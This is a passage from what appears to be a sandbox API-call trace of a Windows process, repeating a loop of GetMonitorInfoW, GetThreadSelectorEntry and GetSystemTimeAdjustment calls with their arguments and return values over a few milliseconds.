lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.882] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.882] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.882] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.883] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.883] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.883] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.884] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.884] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.884] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.885] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.885] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.885] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0026.886] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0026.886] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0026.886] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: 